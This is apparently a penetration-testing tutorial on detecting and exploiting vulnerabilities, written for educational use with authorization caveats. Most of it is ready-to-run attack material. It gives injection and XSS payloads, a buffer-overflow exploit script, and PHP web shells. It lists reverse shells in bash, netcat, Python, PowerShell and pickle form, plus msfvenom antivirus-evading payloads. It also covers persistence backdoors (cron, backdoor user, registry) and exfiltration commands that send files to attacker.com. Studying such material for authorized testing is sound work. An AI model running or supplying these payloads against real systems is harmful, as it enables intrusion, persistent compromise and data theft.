Vulnerability Detection and Exploitation

Vulnerability detection and exploitation form the core of penetration testing, where identified weaknesses are leveraged to demonstrate real-world security impact. This comprehensive guide covers the complete lifecycle from discovering vulnerabilities to exploiting them safely and effectively in penetration testing engagements.

Understanding Vulnerability Assessment vs Exploitation

Before diving into techniques, it’s crucial to understand the distinction:

  • Vulnerability Detection: Identifying potential security weaknesses through scanning, analysis, and testing
  • Vulnerability Assessment: Evaluating and prioritizing discovered vulnerabilities based on risk
  • Exploitation: Leveraging vulnerabilities to gain unauthorized access or escalate privileges

The Vulnerability Exploitation Lifecycle

  1. Discovery: Finding potential vulnerabilities through scanning and analysis
  2. Verification: Confirming vulnerabilities are real, not false positives
  3. Research: Understanding exploit mechanisms and available exploits
  4. Development: Creating or adapting exploits if needed
  5. Execution: Running exploits in controlled manner
  6. Post-Exploitation: Leveraging access gained through exploitation

Vulnerability Detection Techniques

1. Automated Vulnerability Scanning

Automated scanners identify common vulnerabilities quickly and efficiently.

# Nmap NSE vulnerability scripts
nmap --script vuln <target>
nmap --script "vuln and safe" <target>

## Nmap specific vulnerability checks
nmap --script smb-vuln-* <target>
nmap --script http-vuln-* -p 80,443 <target>
nmap --script ssl-* <target>

## OpenVAS - Comprehensive vulnerability scanner
## Web-based interface
## Configure targets and scan policies
## Review detailed vulnerability reports

## Nessus - Industry-standard scanner
## Commercial with Essentials (free) version
## Extensive vulnerability database
## Compliance checking capabilities

## Nuclei - Fast vulnerability scanner
nuclei -u https://target.com -t nuclei-templates/
nuclei -l targets.txt -t nuclei-templates/cves/
nuclei -u https://target.com -severity critical,high

## Nikto - Web server scanner
nikto -h https://target.com
nikto -h https://target.com -Tuning 123456789

## WPScan - WordPress vulnerability scanner
wpscan --url https://target.com --enumerate vp,u,t
wpscan --url https://target.com --api-token <token>

## OWASP ZAP - Web application scanner
zap-cli quick-scan -s all https://target.com
zap-cli active-scan https://target.com

2. Manual Vulnerability Discovery

Manual testing uncovers vulnerabilities automated tools miss.

Web Application Testing

## SQL Injection detection
## Manual testing
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
admin' --
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

## Automated SQL injection with SQLMap
sqlmap -u "https://target.com/page?id=1"
sqlmap -u "https://target.com/page?id=1" --batch --risk=3 --level=5
sqlmap -u "https://target.com/page?id=1" --dbs
sqlmap -u "https://target.com/page?id=1" -D database --tables
sqlmap -u "https://target.com/page?id=1" -D database -T users --dump
sqlmap -u "https://target.com/page?id=1" --os-shell

## Cross-Site Scripting (XSS)
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')

## XSS with XSStrike
xsstrike -u "https://target.com/search?q=test"

## Command Injection
; ls
| ls
` ls `
$(ls)
&& ls
|| ls
; cat /etc/passwd
| cat /etc/passwd

## Commix - Command injection exploitation
commix --url="https://target.com/page?cmd=test"

## Local File Inclusion (LFI)
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
/etc/passwd%00
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain;base64,<base64_php_code>

## Remote File Inclusion (RFI)
http://attacker.com/shell.php
https://attacker.com/shell.txt

## Server-Side Request Forgery (SSRF)
http://localhost/admin
http://127.0.0.1/admin
http://169.254.169.254/latest/meta-data/
http://internal-server/
http://0.0.0.0/
file:///etc/passwd

## XML External Entity (XXE)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><foo>&xxe;</foo></root>

## Template Injection
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
${{7*7}}

## Insecure Deserialization
## Language-specific payloads
## Python pickle, PHP serialize, Java ObjectInputStream

API Security Testing

## API enumeration
## Check for common API paths
curl https://target.com/api/v1/users
curl https://target.com/api/users
curl https://target.com/v1/users

## API parameter fuzzing
ffuf -u https://target.com/api/v1/FUZZ -w api-endpoints.txt
wfuzz -z file,parameters.txt https://target.com/api/v1/user?FUZZ=1

## JWT token testing
## Decode JWT
echo "<token>" | cut -d "." -f 2 | base64 -d

## JWT vulnerabilities
## None algorithm attack
## Weak secret key
## Algorithm confusion (RS256 to HS256)

## GraphQL testing
## Introspection query
{__schema{types{name,fields{name}}}}

## GraphQL vulnerabilities
## Unrestricted queries
## Depth-based attacks
## Introspection enabled

3. Network Service Vulnerability Detection

## SMB vulnerabilities
nmap --script smb-vuln-* -p 445 <target>
## EternalBlue (MS17-010)
## SMBGhost (CVE-2020-0796)

## SSH vulnerabilities
nmap --script ssh-* -p 22 <target>
## Weak keys, outdated versions, user enumeration

## FTP vulnerabilities
nmap --script ftp-* -p 21 <target>
## Anonymous access, version-specific exploits

## RDP vulnerabilities
nmap --script rdp-* -p 3389 <target>
## BlueKeep (CVE-2019-0708)
## DejaBlue (CVE-2019-1181, CVE-2019-1182)

## SMTP vulnerabilities
nmap --script smtp-* -p 25,587 <target>
## User enumeration, open relay

## DNS vulnerabilities
nmap --script dns-* -p 53 <target>
## Zone transfer, cache poisoning, recursion

4. Vulnerability Research

## SearchSploit - Exploit-DB offline search
searchsploit <software_name>
searchsploit <software_name> <version>
searchsploit -m <exploit_id>  # Mirror exploit
searchsploit -x <exploit_id>  # Examine exploit

## Online vulnerability databases
## Exploit-DB: exploit-db.com
## CVE Details: cvedetails.com
## NVD: nvd.nist.gov
## Packet Storm: packetstormsecurity.com

## GitHub security advisories
## Search: site:github.com <software> vulnerability
## Check GitHub Security tab for projects

## Vendor security bulletins
## Microsoft Security Response Center
## Oracle Critical Patch Updates
## Red Hat Security Advisories
## Ubuntu Security Notices

Exploitation Techniques

1. Metasploit Framework

Metasploit is the most widely used penetration testing framework.

## Start Metasploit
msfconsole

## Search for exploits
msf6 > search <service_name>
msf6 > search type:exploit platform:windows
msf6 > search cve:2021 rank:excellent

## Use an exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

## Show exploit options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

## Set required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444

## Select payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

## Check if target is vulnerable
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

## Run exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
## or
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

## Common Metasploit exploits

## EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue

## PrintNightmare (CVE-2021-1675)
use exploit/windows/dcerpc/cve_2021_1675_printnightmare

## ProxyLogon (CVE-2021-26855)
use exploit/windows/http/exchange_proxylogon_rce

## Apache Struts2 (CVE-2017-5638)
use exploit/multi/http/struts2_content_type_ognl

## Drupalgeddon2 (CVE-2018-7600)
use exploit/unix/webapp/drupal_drupalgeddon2

## Tomcat Manager Upload
use exploit/multi/http/tomcat_mgr_upload

## Jenkins Script Console
use exploit/multi/http/jenkins_script_console

2. Manual Exploitation

Sometimes manual exploitation is necessary when automated tools fail.

Buffer Overflow Exploitation

#!/usr/bin/env python3
## Simple buffer overflow example

import socket
import struct

## Target information
target_ip = "192.168.1.10"
target_port = 9999

## Buffer overflow payload
offset = 524  # EIP offset
eip = struct.pack("<I", 0x625011af)  # JMP ESP address
nops = b"\x90" * 16

## Shellcode (msfvenom generated)
shellcode = (
    b"\xd9\xc8\xd9\x74\x24\xf4\xbd\x63\x92\x3c\x2a\x5a\x29\xc9"
    b"\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\xc9\x48\xf1\xdd\x26"
    # ... (truncated for brevity)
)

## Construct payload
buffer = b"A" * offset + eip + nops + shellcode

## Send exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(buffer)
s.close()

Web Shell Upload

<!-- Simple PHP web shell -->
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

Usage: shell.php?cmd=whoami

<!-- Advanced PHP shell -->
<?php
set_time_limit(0);
$ip = '10.0.0.1';
$port = 4444;
$sock = fsockopen($ip, $port);
$descriptors = array(
   0 => $sock,
   1 => $sock,
   2 => $sock
);
$process = proc_open('/bin/sh', $descriptors, $pipes);
proc_close($process);
?>

SQL Injection Exploitation

-- Union-based SQL injection
' UNION SELECT NULL, username, password FROM users--
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--

-- Boolean-based blind SQL injection
' AND 1=1--  (true)
' AND 1=2--  (false)
' AND SUBSTRING(database(),1,1)='a'--

-- Time-based blind SQL injection
'; IF(1=1, SLEEP(5), 0)--
'; WAITFOR DELAY '00:00:05'--

-- Out-of-band SQL injection (DNS)
'; EXEC master..xp_dirtree '\\attacker.com\share'--

-- Second-order SQL injection
## Inject payload in one query, triggers in another
username: admin'--
password: (anything)

-- Reading files via SQL injection
' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL--

-- Writing web shells via SQL injection
' UNION SELECT NULL, '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php'--

3. Exploit Development Basics

Creating custom exploits when public ones don’t exist.

## Generate shellcode with msfvenom

## Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python

## Windows reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python

## Meterpreter reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

## Encoded payload (bypass AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe

## Web-based payloads
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php
msfvenom -p jsp/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.jsp

4. Remote Code Execution (RCE)

## Command injection via vulnerable parameter
curl "http://target.com/ping.php?ip=8.8.8.8;whoami"
curl "http://target.com/ping.php?ip=8.8.8.8%26%26whoami"

## Reverse shell via command injection
curl "http://target.com/ping.php?ip=8.8.8.8;nc%20-e%20/bin/bash%2010.0.0.1%204444"

## Python reverse shell
curl "http://target.com/exec.php?cmd=python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

## Bash reverse shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

## Netcat reverse shell
nc -e /bin/bash 10.0.0.1 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

## PowerShell reverse shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

5. Exploiting Common Vulnerabilities

Deserialization Vulnerabilities

// Java deserialization with ysoserial
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' | base64

// Python pickle deserialization
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('nc -e /bin/bash 10.0.0.1 4444',))

pickle.dumps(Exploit())

Authentication Bypass

## SQL injection authentication bypass
username: admin' OR '1'='1
password: (anything)

username: admin'--
password: (anything)

## NoSQL injection authentication bypass
username[$ne]=admin&password[$ne]=password

## JWT token manipulation
## Decode, modify claims, re-encode
## Try "none" algorithm
## Brute-force weak secrets

File Upload Vulnerabilities

## Upload web shell bypassing filters

## Extension manipulation
shell.php.jpg
shell.php%00.jpg
shell.php;.jpg
shell.PHP
shell.pHp
shell.php.test

## MIME type manipulation
## Change Content-Type to image/jpeg while uploading PHP

## Double extension
shell.jpg.php

## Null byte injection
shell.php%00.jpg

## Case sensitivity
shell.PhP

## Content injection
## Add magic bytes to make file appear as image
GIF89a; <?php system($_GET['cmd']); ?>

Post-Exploitation

After successful exploitation, maximize value from access.

Establishing Persistence

## Linux persistence
## Cron job
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'") | crontab -

## SSH key
mkdir -p ~/.ssh
echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

## Backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor

## Windows persistence
## Registry autorun
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f

## Scheduled task
schtasks /create /tn "UpdateCheck" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM

## Service
sc create BackdoorService binPath= "C:\backdoor.exe" start= auto

Data Exfiltration

## Exfiltrate via HTTP
curl -X POST -F "file=@/etc/passwd" http://attacker.com/upload

## Exfiltrate via netcat
nc attacker.com 4444 < sensitive_file.txt

## Exfiltrate via DNS (covert channel)
## Split data and send via DNS queries
for i in $(cat data.txt | base64); do
    dig $i.attacker.com
done

## Compress and exfiltrate
tar czf - /sensitive/data | nc attacker.com 4444

Lateral Movement

## SSH key theft
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts

## Credential harvesting
cat ~/.bash_history | grep -E "password|passwd|pass"
grep -r "password" /home/

## Network pivoting with SSH
ssh -D 9050 user@pivot_host
## Configure proxychains to use SOCKS5 localhost:9050

## Port forwarding
ssh -L 8080:internal_server:80 user@pivot_host

## Metasploit pivoting
meterpreter > run autoroute -s 10.1.1.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

Vulnerability Management

CVSS Scoring

Understanding Common Vulnerability Scoring System helps prioritize findings.

CVSS Base Metrics:

  • Attack Vector (AV): Network, Adjacent, Local, Physical
  • Attack Complexity (AC): Low, High
  • Privileges Required (PR): None, Low, High
  • User Interaction (UI): None, Required
  • Scope (S): Unchanged, Changed
  • Impact: Confidentiality, Integrity, Availability (None, Low, High)

Severity Ratings:

  • Critical: 9.0-10.0
  • High: 7.0-8.9
  • Medium: 4.0-6.9
  • Low: 0.1-3.9

Vulnerability Reporting

Professional penetration testers provide detailed vulnerability reports:

## Vulnerability Title
SQL Injection in User Search Functionality

### Severity
Critical (CVSS: 9.8)

### Affected Component
/api/v1/users/search endpoint, parameter: username

### Description
The application is vulnerable to SQL injection through the username parameter. 
An attacker can inject arbitrary SQL queries, leading to unauthorized database access.

### Proof of Concept
Request:
GET /api/v1/users/search?username=admin' UNION SELECT password FROM users--

Response:
[
  {"username": "admin", "data": "5f4dcc3b5aa765d61d8327deb882cf99"}
]

### Impact
- Complete database compromise
- Unauthorized access to user credentials
- Potential remote code execution via INTO OUTFILE
- Data breach affecting all users

### Remediation
1. Use parameterized queries/prepared statements
2. Implement input validation and sanitization
3. Apply principle of least privilege to database user
4. Enable web application firewall (WAF)

### References
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html

Safe Exploitation Practices

Rules of Engagement

  • Always get written authorization before testing
  • Stay within defined scope - no testing outside boundaries
  • Respect testing windows - only test during approved times
  • Document all actions with timestamps and commands
  • Report critical findings immediately to client
  • Don’t cause denial of service unless explicitly authorized
  • Don’t access sensitive data beyond what’s necessary for PoC

Safe Exploitation Techniques

## Always create backups before exploitation
cp important_file important_file.bak

## Use read-only commands when possible
cat /etc/passwd  # Instead of modifying it

## Test in safe environments first
## Use VMs, containers, or isolated networks

## Avoid kernel exploits in production
## They can crash systems

## Use passive exploitation when possible
## Monitor traffic instead of active injection

## Implement fail-safes in scripts
set -euo pipefail  # Bash strict mode

## Log everything
script -a exploitation_log.txt

Practice Environments

Develop skills in legal, safe environments:

Online Platforms

  • HackTheBox: Realistic vulnerable machines
  • TryHackMe: Guided learning paths
  • VulnHub: Downloadable vulnerable VMs
  • PentesterLab: Web application vulnerabilities
  • PortSwigger Web Security Academy: Free web app training

Intentionally Vulnerable Applications

  • DVWA (Damn Vulnerable Web Application)
  • WebGoat (OWASP)
  • Metasploitable 2/3
  • OWASP Juice Shop
  • bWAPP (Buggy Web Application)

Conclusion

Vulnerability detection and exploitation require technical expertise, methodical approach, and ethical responsibility. Key takeaways:

Automate detection, verify manually: Use tools but confirm findings ✅ Understand vulnerabilities deeply: Know how and why exploits work ✅ Practice exploitation safely: Use authorized environments ✅ Document thoroughly: Provide value through detailed reporting ✅ Stay current: New vulnerabilities emerge constantly ✅ Prioritize by impact: Focus on critical and high-severity findings ✅ Think like defenders: Understand both offensive and defensive perspectives

Master these techniques through continuous practice, staying informed about emerging vulnerabilities, and always operating within legal and ethical boundaries. Successful exploitation demonstrates real security impact, helping organizations understand and remediate their security weaknesses.

Remember: The goal of penetration testing is to improve security, not to cause harm. Always operate with professional integrity and clear authorization.

Thank you for reading! If you have any feedback or comments, please send them to [email protected].